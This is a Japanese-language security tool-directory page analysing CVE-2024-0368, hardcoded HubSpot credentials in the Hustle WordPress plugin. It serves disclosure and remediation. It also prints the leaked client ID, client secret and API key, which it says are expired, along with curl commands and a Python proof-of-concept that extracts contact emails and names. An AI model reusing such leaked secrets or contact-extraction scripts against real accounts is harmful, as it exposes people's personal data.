Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-0368 — Hustleプラグイン <= 7.8.3 には、inc/providers/hubspot/hustle-hubspot-api.php にハードコードされた HubSpot API 認証情報が含まれています。 | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2024-0368
脆弱性分析エクスプロイト情報収集ウェブセキュリティシークレット検出学習と教育
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustleプラグイン <= 7.8.3 には、inc/providers/hubspot/hustle-hubspot-api.php にハードコードされた HubSpot API 認証情報が含まれています。

リポジトリを見る
17ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-0368

Hustle Plugin <= 7.8.3 は、inc/providers/hubspot/hustle-hubspot-api.php にハードコードされたHubSpot API認証情報を含んでいます

脆弱性の概要

フィールド値
CVE IDCVE-2024-0368
タイトルHustle <= 7.8.3 - 露出したHubSpot APIキーによる機密情報の露出
CVSSスコア8.6 (高)
影響を受けるプラグインHustle - メールマーケティング、リード生成、オプトイン、ポップアップ (wordpress-popup)
脆弱なバージョン<= 7.8.3
修正済みバージョン7.8.4
脆弱性の種類CWE-200: 機密情報の露出

技術的分析

脆弱なコードの場所

ファイル: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

露出した認証情報

OAuthスコープ(潜在的なアクセス)

ハードコードされたOAuth設定は、次のHubSpotスコープを要求していました。

  • oauth - OAuth認証
  • crm.objects.contacts.write - 連絡先の作成/変更
  • crm.objects.contacts.read - 連絡先情報(PII)の読み取り
  • crm.lists.read - マーケティングリストの読み取り
  • crm.lists.write - マーケティングリストの変更
  • crm.schemas.contacts.write - 連絡先スキーマの変更
  • crm.schemas.contacts.read - 連絡先スキーマの読み取り

脆弱性の説明

根本原因

WPMUDEVは、自社のHubSpot OAuthアプリケーション認証情報をプラグインのソースコードに直接ハードコードしました。これは、以下の理由からセキュアな開発プラクティスに違反しています。

  1. 公開露出: WordPressプラグインはオープンソースです - コードはwordpress.orgのSVNリポジトリで公開されています。
  2. 大量配布: Hustleプラグインは10万以上のアクティブインストールがあります。
  3. 共有認証情報: すべてのプラグインインストールが同じAPI認証情報を共有します。

攻撃ベクトル

攻撃者は次のことができます。

  1. wordpress.orgから脆弱なプラグインをダウンロードする
  2. PHPソースからハードコードされた認証情報を抽出する
  3. これらの認証情報を使用してHubSpotのAPIに認証する
  4. WPMUDEVのHubSpotアカウントおよびその統合を通じて処理されたすべてのデータにアクセスする

潜在的な影響

有効な認証情報を使用すると、攻撃者は次のことを行える可能性があります。

  • PIIの読み取り: 連絡先情報(名前、メールアドレス、電話番号、住所)にアクセスする
  • データの変更: HubSpot内の連絡先を作成、更新、または削除する
  • マーケティングリストへのアクセス: マーケティングリストの表示と操作
  • データの持ち出し: Hustle + HubSpot統合を使用しているサイトから購読者データを抽出する

概念実証

ステップ1: 脆弱なファイルを特定する

root@kitploit:~
# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

出力:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

ステップ2: APIキーアクセスのテスト(連絡先)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

注: テスト時点では、APIキーはローテーション/期限切れとなっています(開示後は予想通り)。

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

ステップ3: OAuthフローのテスト

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

応答: 認証情報は無効化されました。

悪用スクリプト (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

検証結果

環境:

  • WordPress: Docker上で実行
  • プラグインバージョン: 7.8.2 (脆弱)
  • 脆弱なファイル: ハードコードされた認証情報が存在することを確認

認証情報のステータス:

  • APIキー (HAPIKEY): 期限切れ/ローテーション済み (開示後)
  • OAuth認証情報: 無効化済み (開示後)

結論: 脆弱性は確認されました - ハードコードされた認証情報がソースコードに存在し、以前は悪用可能でした。WPMUDEVは責任ある開示を受けて認証情報をローテーションしました。

修復策

ベンダーによる修正 (v7.8.4+)

このパッチはハードコードされた認証情報を削除し、適切な認証情報ストレージを実装します。

  • 認証情報をデータベース/環境設定に移動
  • ユーザーは自分自身のHubSpot API認証情報を設定する必要があります
  • インストール間で認証情報が共有されなくなりました

ユーザーへの推奨事項

  1. 直ちに更新: Hustle 7.8.4以降にアップグレードしてください
  2. HubSpotを再設定: ご自身の認証情報でHubSpot統合を設定してください
  3. アクセスログを監査: 脆弱な期間中に不正なAPIアクセスがないかHubSpotを確認してください

タイムライン

日付イベント
2024-01-05CVE-2024-0368 公開
2024-03-08バージョン7.8.4でパッチリリース
開示後WPMUDEVが認証情報をローテーション

参考文献

  • Wordfence Advisory
  • WordPress Plugin Changeset
  • HubSpot API Documentation
  • NVD Entry

※許可されたセキュリティ研究目的のために生成されました

ツールをダウンロード
認証情報値目的
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bOAuth2アプリケーション識別子
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaOAuth2クライアントシークレット
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aHubSpotレガシーAPIキー